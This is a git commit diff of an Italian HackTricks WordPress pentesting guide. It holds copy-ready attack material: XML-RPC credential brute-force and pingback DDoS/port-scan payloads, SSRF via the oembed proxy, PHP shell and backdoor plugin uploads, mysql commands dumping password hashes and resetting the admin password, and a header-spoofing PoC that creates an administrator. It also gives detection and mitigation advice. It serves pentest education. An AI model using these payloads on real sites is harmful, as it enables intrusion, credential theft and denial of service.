mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/network-services-pentesting/pentesting-web/wordpres
This commit is contained in:
parent
df617a5ee2
commit
725380af02
@ -4,8 +4,8 @@
|
||||
|
||||
## Informazioni di base
|
||||
|
||||
- **Uploaded** files vanno in: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **I file dei temi si trovano in /wp-content/themes/,** quindi se modifichi qualche php del tema per ottenere RCE probabilmente userai quel percorso. Per esempio: Usando **theme twentytwelve** puoi **accedere** al file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **I file caricati** vanno in: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **I file dei theme si trovano in /wp-content/themes/,** quindi se modifichi qualche php del theme per ottenere RCE probabilmente userai quel percorso. Per esempio: usando **theme twentytwelve** puoi **accedere** al file **404.php** in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Un altro URL utile potrebbe essere:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
@ -16,35 +16,35 @@
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` contiene informazioni utili come la versione di WordPress installata.
|
||||
- `wp-activate.php` viene usato per il processo di attivazione via email quando si configura un nuovo sito WordPress.
|
||||
- `wp-activate.php` è usato per il processo di attivazione via email durante la creazione di un nuovo sito WordPress.
|
||||
- Cartelle di login (possono essere rinominate per nasconderle):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` è un file che rappresenta una feature di WordPress che permette la trasmissione di dati usando HTTP come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- La cartella `wp-content` è la directory principale dove sono conservati plugin e temi.
|
||||
- `wp-content/uploads/` è la directory dove vengono memorizzati i file caricati sulla piattaforma.
|
||||
- `wp-includes/` è la directory dove sono archiviati i file core, come certificati, font, file JavaScript e widget.
|
||||
- `wp-sitemap.xml` Nelle versioni di WordPress 5.5 e successive, WordPress genera un file sitemap XML con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili.
|
||||
- La cartella `wp-content` è la directory principale dove sono memorizzati plugin e theme.
|
||||
- `wp-content/uploads/` è la directory dove sono memorizzati i file caricati sulla piattaforma.
|
||||
- `wp-includes/` è la directory dove sono conservati i file core, come certificati, font, file JavaScript e widget.
|
||||
- `wp-sitemap.xml` Nelle versioni di WordPress 5.5 e successive, WordPress genera una sitemap XML con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili.
|
||||
|
||||
**Post-exploitation**
|
||||
**Post exploitation**
|
||||
|
||||
- Il file `wp-config.php` contiene le informazioni richieste da WordPress per connettersi al database come il nome del database, host del database, username e password, authentication keys and salts, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere usato per attivare la modalità DEBUG, che può essere utile per il troubleshooting.
|
||||
- Il file `wp-config.php` contiene le informazioni necessarie a WordPress per connettersi al database, come nome del database, host del database, username e password, authentication keys and salts e il prefisso delle tabelle del database. Questo file di configurazione può anche essere utilizzato per attivare la modalità DEBUG, utile per il troubleshooting.
|
||||
|
||||
### Permessi Utenti
|
||||
### Permessi utenti
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: Pubblica e gestisce i propri e gli altri post
|
||||
- **Editor**: Pubblica e gestisce i propri post e quelli degli altri
|
||||
- **Author**: Pubblica e gestisce i propri post
|
||||
- **Contributor**: Scrive e gestisce i propri post ma non può pubblicarli
|
||||
- **Subscriber**: Naviga i post e modifica il proprio profilo
|
||||
|
||||
## **Enumerazione passiva**
|
||||
## **Passive Enumeration**
|
||||
|
||||
### **Ottenere la versione di WordPress**
|
||||
|
||||
Controlla se puoi trovare i file `/license.txt` o `/readme.html`
|
||||
Controlla se riesci a trovare i file `/license.txt` o `/readme.html`
|
||||
|
||||
All'interno del **codice sorgente** della pagina (esempio da [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
@ -56,15 +56,15 @@ curl https://victim.com/ | grep 'content="WordPress'
|
||||
|
||||
.png>)
|
||||
|
||||
- File di collegamento CSS
|
||||
- file di link CSS
|
||||
|
||||
.png>)
|
||||
|
||||
- File JavaScript
|
||||
- file JavaScript
|
||||
|
||||
.png>)
|
||||
|
||||
### Ottieni Plugin
|
||||
### Ottieni plugin
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
@ -79,17 +79,17 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```
|
||||
## Enumerazione attiva
|
||||
|
||||
### Plugin e Temi
|
||||
### Plugin e Theme
|
||||
|
||||
Probabilmente non sarai in grado di trovare tutti i Plugin e Temi possibili. Per scoprirli tutti, dovrai **eseguire attivamente un Brute Force su una lista di Plugin e Temi** (si spera che per noi esistano strumenti automatici che contengano queste liste).
|
||||
Probabilmente non riuscirai a trovare tutti i Plugin e Theme possibili. Per scoprirli tutti, dovrai **eseguire attivamente un Brute Force su una lista di Plugin e Theme** (si spera esistano strumenti automatici che contengono queste liste).
|
||||
|
||||
### Utenti
|
||||
|
||||
- **ID Brute:** Ottieni utenti validi da un sito WordPress effettuando un Brute Force sugli ID degli utenti:
|
||||
- **ID Brute:** Ottieni utenti validi da un sito WordPress effettuando un Brute Force sugli ID utente:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Se le risposte sono **200** o **30X**, significa che l'id è **valido**. Se la risposta è **400**, allora l'id è **invalido**.
|
||||
Se le risposte sono **200** o **30X**, significa che l'id è **valido**. Se la risposta è **400**, significa che l'id è **non valido**.
|
||||
|
||||
- **wp-json:** Puoi anche provare a ottenere informazioni sugli utenti interrogando:
|
||||
```bash
|
||||
@ -99,19 +99,19 @@ Un altro endpoint `/wp-json/` che può rivelare alcune informazioni sugli utenti
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Nota che questo endpoint espone solo gli utenti che hanno pubblicato almeno un post. **Verranno fornite solo le informazioni sugli utenti che hanno attivato questa funzionalità**.
|
||||
Nota che questo endpoint espone solo gli utenti che hanno pubblicato un post. **Verranno fornite solo informazioni sugli utenti che hanno questa funzionalità abilitata**.
|
||||
|
||||
Nota anche che **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
Nota anche che **/wp-json/wp/v2/pages** potrebbe leakare indirizzi IP.
|
||||
|
||||
- **Login username enumeration**: Quando effettui il login in **`/wp-login.php`** il **messaggio** è **diverso** e indica **se lo username esiste o meno**.
|
||||
- **Login username enumeration**: Quando effettui il login in **`/wp-login.php`** il **messaggio** è **diverso** e indica se lo **username** esiste o meno.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Se `xml-rpc.php` è attivo puoi eseguire un credentials brute-force o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo [using this](https://github.com/relarizky/wpxploit) per esempio).
|
||||
Se `xml-rpc.php` è attivo puoi eseguire un credentials brute-force o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo[ using this](https://github.com/relarizky/wpxploit) per esempio).
|
||||
|
||||
Per verificare se è attivo prova ad accedere a _**/xmlrpc.php**_ e inviare questa richiesta:
|
||||
Per verificare se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa richiesta:
|
||||
|
||||
**Controlla**
|
||||
**Verifica**
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>system.listMethods</methodName>
|
||||
@ -120,9 +120,9 @@ Per verificare se è attivo prova ad accedere a _**/xmlrpc.php**_ e inviare ques
|
||||
```
|
||||

|
||||
|
||||
**Credentials Bruteforce**
|
||||
**Bruteforce delle credenziali**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** or **`metaWeblog.getUsersBlogs`** are some of the methods that can be used to brute-force credentials. Se ne trovi qualcuno, puoi inviare qualcosa del tipo:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** o **`metaWeblog.getUsersBlogs`** sono alcuni dei metodi che possono essere usati per brute-force delle credenziali. Se riesci a trovarne uno puoi inviare qualcosa del tipo:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -138,7 +138,7 @@ Il messaggio _"Nome utente o password non corretti"_ all'interno di una risposta
|
||||
|
||||
.png>)
|
||||
|
||||
Usando le credenziali corrette puoi caricare un file. Nella risposta comparirà il percorso ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
Usando le credenziali corrette puoi caricare un file. Nella risposta apparirà il percorso ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
|
||||
```html
|
||||
<?xml version='1.0' encoding='utf-8'?>
|
||||
<methodCall>
|
||||
@ -168,18 +168,18 @@ Usando le credenziali corrette puoi caricare un file. Nella risposta comparirà
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Esiste anche un modo **più veloce** per brute-force delle credenziali usando **`system.multicall`** in quanto puoi provare diverse credenziali nella stessa request:
|
||||
C'è anche un modo **più veloce** per eseguire brute-force delle credenziali usando **`system.multicall`**, dato che puoi provare più credenziali nella stessa richiesta:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
Questo metodo è pensato per programmi e non per esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'accesso principale è protetto da 2FA, **potresti riuscire ad abusare di xmlrpc.php per effettuare il login con quelle credenziali bypassando la 2FA**. Nota che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Questo metodo è pensato per programmi e non per esseri umani, ed è vecchio, quindi non supporta la 2FA. Pertanto, se hai credenziali valide ma l'accesso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per effettuare il login con quelle credenziali bypassando la 2FA**. Nota che non potrai eseguire tutte le azioni disponibili tramite la console, ma potresti comunque riuscire a ottenere RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS or port scanning**
|
||||
|
||||
Se riesci a trovare il metodo _**pingback.ping**_ nella lista puoi far inviare a Wordpress una richiesta arbitraria a qualsiasi host/porta.\
|
||||
Questo può essere usato per chiedere a **migliaia** di **siti** **Wordpress** di **accessare** una **stessa** **destinazione** (causando un **DDoS** in quel punto) oppure puoi usarlo per far eseguire a **Wordpress** uno **scan** di una rete interna (puoi indicare qualsiasi porta).
|
||||
Se riesci a trovare il metodo _**pingback.ping**_ nella lista, puoi far sì che Wordpress invii una richiesta arbitraria a qualunque host/port.
|
||||
Questo può essere usato per indurre **migliaia** di **siti** Wordpress a **accedere** a una **stessa destinazione** (causando così un **DDoS** in quel punto) oppure puoi usarlo per far effettuare a **Wordpress** una scansione di una **network** interna (puoi indicare qualsiasi port).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -193,7 +193,7 @@ Questo può essere usato per chiedere a **migliaia** di **siti** **Wordpress** d
|
||||
|
||||
Se ottieni **faultCode** con un valore **maggiore** di **0** (17), significa che la porta è aperta.
|
||||
|
||||
Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per provocare DDoS.
|
||||
Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per causare DDoS.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -209,15 +209,15 @@ Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per i
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
Questo file solitamente esiste nella root del sito Wordpress: **`/wp-cron.php`**\
|
||||
Quando questo file viene **acceduto** viene eseguita una **query** MySQL **"pesante"**, quindi potrebbe essere usato da **attaccanti** per **causare** un **DoS**.\
|
||||
Inoltre, per default, il `wp-cron.php` viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una qualsiasi pagina di Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
|
||||
Questo file di solito si trova nella root del sito Wordpress: **`/wp-cron.php`**\
|
||||
Quando questo file viene **acceduto** viene eseguita una query MySQL **pesante**, quindi può essere usato da **attackers** per **causare** un **DoS**.\
|
||||
Inoltre, per default, il `wp-cron.php` viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
|
||||
|
||||
Si raccomanda di disabilitare Wp-Cron e creare un vero cronjob sul host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Prova ad accedere a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e il sito Wordpress potrebbe effettuare una richiesta verso di te.
|
||||
Prova ad accedere a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e il Worpress site potrebbe effettuare una richiesta verso di te.
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -230,7 +230,7 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Questo tool verifica se esiste **methodName: pingback.ping** e il path **/wp-json/oembed/1.0/proxy** e, se presenti, prova a sfruttarli.
|
||||
Questo strumento verifica se esistono **methodName: pingback.ping** e il path **/wp-json/oembed/1.0/proxy** e, se presenti, tenta di sfruttarli.
|
||||
|
||||
## Strumenti automatici
|
||||
```bash
|
||||
@ -240,18 +240,18 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Ottenere l'accesso sovrascrivendo un bit
|
||||
|
||||
Più che un vero attacco, è una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) si poteva invertire 1 bit in qualsiasi file di wordpress. Quindi si poteva modificare il bit alla posizione `5389` del file `/var/www/html/wp-includes/user.php` per trasformare l'operazione NOT (`!`) in NOP.
|
||||
Più che un attacco reale, questa è una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) potevi invertire 1 bit di qualsiasi file di wordpress. Quindi potevi invertire il bit in posizione `5389` del file `/var/www/html/wp-includes/user.php` per trasformare in NOP l'operazione NOT (`!`).
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Pannello RCE**
|
||||
|
||||
**Modificare un file php del tema usato (admin credentials needed)**
|
||||
**Modificare un php del tema in uso (admin credentials needed)**
|
||||
|
||||
Aspetto → Editor del tema → Template 404 (a destra)
|
||||
|
||||
Sostituisci il contenuto con una php shell:
|
||||
Modifica il contenuto con una php shell:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -263,71 +263,71 @@ Puoi usare:
|
||||
```bash
|
||||
use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
to get a session.
|
||||
per ottenere una sessione.
|
||||
|
||||
## Plugin RCE
|
||||
## RCE del plugin
|
||||
|
||||
### PHP plugin
|
||||
### Plugin PHP
|
||||
|
||||
It may be possible to upload .php files as a plugin.\
|
||||
Create your php backdoor using for example:
|
||||
Potrebbe essere possibile caricare file .php come plugin.\
|
||||
Crea la tua backdoor php usando per esempio:
|
||||
|
||||
.png>)
|
||||
|
||||
Then add a new plugin:
|
||||
Poi aggiungi un nuovo plugin:
|
||||
|
||||
.png>)
|
||||
|
||||
Upload plugin and press Install Now:
|
||||
Carica il plugin e premi Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
Click on Procced:
|
||||
Clicca su Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
|
||||
Probabilmente non sembrerà succedere nulla, ma se vai in Media vedrai la tua shell caricata:
|
||||
|
||||
.png>)
|
||||
|
||||
Access it and you will see the URL to execute the reverse shell:
|
||||
Accedendovi vedrai l'URL per eseguire la reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
### Upload e attivazione di un plugin malevolo
|
||||
|
||||
Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e che può essere sfruttato per ottenere una web shell. Questo processo viene eseguito tramite il WordPress dashboard come segue:
|
||||
Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e sfruttabile per ottenere una web shell. Il processo viene eseguito tramite la dashboard di WordPress come segue:
|
||||
|
||||
1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
|
||||
- Upload the zip file of the downloaded plugin.
|
||||
3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.
|
||||
4. **Exploitation**:
|
||||
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
|
||||
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
|
||||
- It's noted that this is just one of the many methods to exploit a WordPress site.
|
||||
1. **Acquisizione del plugin**: Il plugin viene ottenuto da una fonte come Exploit DB, ad esempio [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Installazione del plugin**:
|
||||
- Vai nella dashboard di WordPress, poi in `Dashboard > Plugins > Upload Plugin`.
|
||||
- Carica il file zip del plugin scaricato.
|
||||
3. **Attivazione del plugin**: Una volta che il plugin è installato correttamente, deve essere attivato tramite la dashboard.
|
||||
4. **Sfruttamento**:
|
||||
- Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato poiché è noto per essere vulnerabile.
|
||||
- Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, è possibile stabilire una sessione meterpreter, ottenendo accesso non autorizzato al sito.
|
||||
- Si noti che questo è solo uno dei molti metodi per sfruttare un sito WordPress.
|
||||
|
||||
Il contenuto include immagini che mostrano i passaggi nella WordPress dashboard per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni dovrebbero essere usate responsabilmente e solo in un contesto legale, come penetration testing con permesso esplicito.
|
||||
Il contenuto include elementi visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante sottolineare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni devono essere usate responsabilmente e solamente in un contesto legale, come penetration testing con esplicita autorizzazione.
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## From XSS to RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- _**Privilege Escalation:**_ Creates an user in WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Edit a Built-In Plugins in WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Edit a Built-In Themes in WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes.
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o ad altre vulnerabilità critiche in WordPress. Per maggiori informazioni vedi [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per Wordpress Versions 6.X.X, 5.X.X and 4.X.X. e permette di:**
|
||||
- _**Privilege Escalation:**_ Crea un utente in WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo plugin personalizzato (backdoor) in WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Modifica Built-In Plugins in WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Modifica Built-In Themes in WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Exploit personalizzati per plugin/temi di terze parti di WordPress.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
Estrai username e password:
|
||||
Estrai nomi utente e password:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
Cambia la password admin:
|
||||
Cambia la password dell'admin:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
@ -335,25 +335,25 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
### Superficie di attacco
|
||||
|
||||
Capire come un plugin di Wordpress possa esporre funzionalità è fondamentale per trovare vulnerabilità nella sua logica. Puoi vedere in che modo un plugin può esporre funzionalità nei punti seguenti e alcuni esempi di plugin vulnerabili in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Sapere come un plugin Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità. Puoi vedere come un plugin potrebbe esporre funzionalità nei seguenti punti elenco e alcuni esempi di plugin vulnerabili in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite handler AJAX. Queste funzioni possono contenere bug di logica, autorizzazione o autenticazione. Inoltre, è abbastanza frequente che queste funzioni basino sia l'autenticazione che l'autorizzazione sull'esistenza di un wordpress nonce che **qualsiasi utente autenticato nell'istanza Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
|
||||
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite AJAX handlers. Queste possono contenere bug di logica, autorizzazione o autenticazione. Inoltre è abbastanza frequente che queste funzioni basino sia l'autenticazione sia l'autorizzazione sull'esistenza di un wordpress nonce che **qualsiasi utente autenticato nell'istanza Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
|
||||
|
||||
Queste sono le funzioni che possono essere usate per esporre una funzione in un plugin:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**L'uso di `nopriv` rende l'endpoint accessibile a qualsiasi utente (anche non autenticati).**
|
||||
**L'uso di `nopriv` rende l'endpoint accessibile da qualsiasi utente (anche non autenticati).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Inoltre, se la funzione sta solo verificando l'autorizzazione dell'utente con la funzione `wp_verify_nonce`, questa verifica soltanto che l'utente sia autenticato; di solito non controlla il ruolo dell'utente. Quindi utenti con pochi privilegi potrebbero avere accesso ad azioni ad alto privilegio.
|
||||
> Inoltre, se la funzione verifica solo l'autorizzazione dell'utente con la funzione `wp_verify_nonce`, questa funzione controlla soltanto che l'utente sia autenticato, di solito non verifica il ruolo dell'utente. Quindi utenti con pochi privilegi potrebbero avere accesso ad azioni riservate ad utenti con privilegi elevati.
|
||||
|
||||
- **REST API**
|
||||
|
||||
È anche possibile esporre funzioni da wordpress registrando una REST API usando la funzione `register_rest_route`:
|
||||
È anche possibile esporre funzioni da wordpress registrando una rest AP usando la funzione `register_rest_route`:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
La `permission_callback` è una funzione di callback che verifica se un dato utente è autorizzato a chiamare il metodo API.
|
||||
La `permission_callback` è una funzione di callback che verifica se un determinato utente è autorizzato a invocare il metodo API.
|
||||
|
||||
**Se viene utilizzata la funzione built-in `__return_true`, salterà semplicemente il controllo delle autorizzazioni utente.**
|
||||
**Se viene usata la funzione integrata `__return_true`, verrà semplicemente saltato il controllo dei permessi utente.**
|
||||
|
||||
- **Accesso diretto al file php**
|
||||
|
||||
Ovviamente, Wordpress usa PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, se un plugin espone una funzionalità vulnerabile che viene attivata semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente.
|
||||
Ovviamente, Wordpress utilizza PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, se un plugin espone funzionalità vulnerabili che vengono attivate semplicemente accedendo al file, saranno sfruttabili da qualsiasi utente.
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Alcuni plugin implementano scorciatoie "trusted header" per integrazioni interne o reverse proxies e poi usano quell'header per impostare il contesto utente corrente per le richieste REST. Se l'header non è vincolato crittograficamente alla richiesta da un componente upstream, un attacker può spoofarlo e colpire REST routes privilegiate come amministratore.
|
||||
Alcuni plugin implementano “trusted header” come scorciatoie per integrazioni interne o reverse proxy e poi usano quell'header per impostare il contesto utente corrente per le richieste REST. Se l'header non è vincolato criptograficamente alla richiesta da un componente upstream, un attaccante può falsificarlo e raggiungere rotte REST privilegiate come amministratore.
|
||||
|
||||
- Impatto: escalation di privilegi non autenticata a admin creando un nuovo amministratore tramite la core users REST route.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forza l'ID utente 1, tipicamente il primo account amministratore).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` con un array di ruolo elevato.
|
||||
- Impatto: escalation di privilegi non autenticata fino ad amministratore creando un nuovo account amministratore tramite la route REST core users.
|
||||
- Header di esempio: `X-Wcpay-Platform-Checkout-User: 1` (forza l'ID utente 1, tipicamente il primo account amministratore).
|
||||
- Route sfruttata: `POST /wp-json/wp/v2/users` con un array di ruoli elevati.
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -394,37 +394,37 @@ Content-Length: 114
|
||||
Perché funziona
|
||||
|
||||
- Il plugin mappa un header controllato dal client allo stato di autenticazione e salta i controlli sulle capability.
|
||||
- Il core di WordPress si aspetta la capability `create_users` per questa route; la modifica del plugin la bypassa impostando direttamente il contesto dell'utente corrente dall'header.
|
||||
- WordPress core si aspetta la capability `create_users` per questa route; il plugin la aggira impostando direttamente il contesto dell'utente corrente a partire dall'header.
|
||||
|
||||
Indicatori di successo attesi
|
||||
|
||||
- HTTP 201 con un body JSON che descrive l'utente creato.
|
||||
- Un nuovo utente admin visibile in `wp-admin/users.php`.
|
||||
- Un nuovo admin visibile in `wp-admin/users.php`.
|
||||
|
||||
Checklist di rilevamento
|
||||
|
||||
- Cerca con grep `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDK che leggono header custom per impostare il contesto utente (es. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Esamina le registrazioni REST per callback privilegiate che non hanno forti controlli `permission_callback` e si affidano invece agli header della request.
|
||||
- Cerca l'uso di funzioni core per la gestione utenti (`wp_insert_user`, `wp_create_user`) dentro REST handler che sono protetti solo da valori negli header.
|
||||
- Grep per `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDK che leggono header custom per impostare il contesto utente (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Controlla le registrazioni REST per callback privilegiate che mancano di robusti controlli di `permission_callback` e invece si affidano agli header della request.
|
||||
- Cerca l'uso delle funzioni core di user-management (`wp_insert_user`, `wp_create_user`) dentro gli handler REST che sono limitati solo dai valori degli header.
|
||||
|
||||
Mitigazioni
|
||||
|
||||
- Non derivare mai l'autenticazione o l'autorizzazione da header controllati dal client.
|
||||
- Se un reverse proxy deve inserire l'identità, termina la fiducia al proxy e rimuovi le copie in ingresso (es. `unset X-Wcpay-Platform-Checkout-User` al bordo), poi passa un token firmato e verificane la firma lato server.
|
||||
- Per REST routes che eseguono azioni privilegiate, richiedi controlli `current_user_can()` e un `permission_callback` rigoroso (NON usare `__return_true`).
|
||||
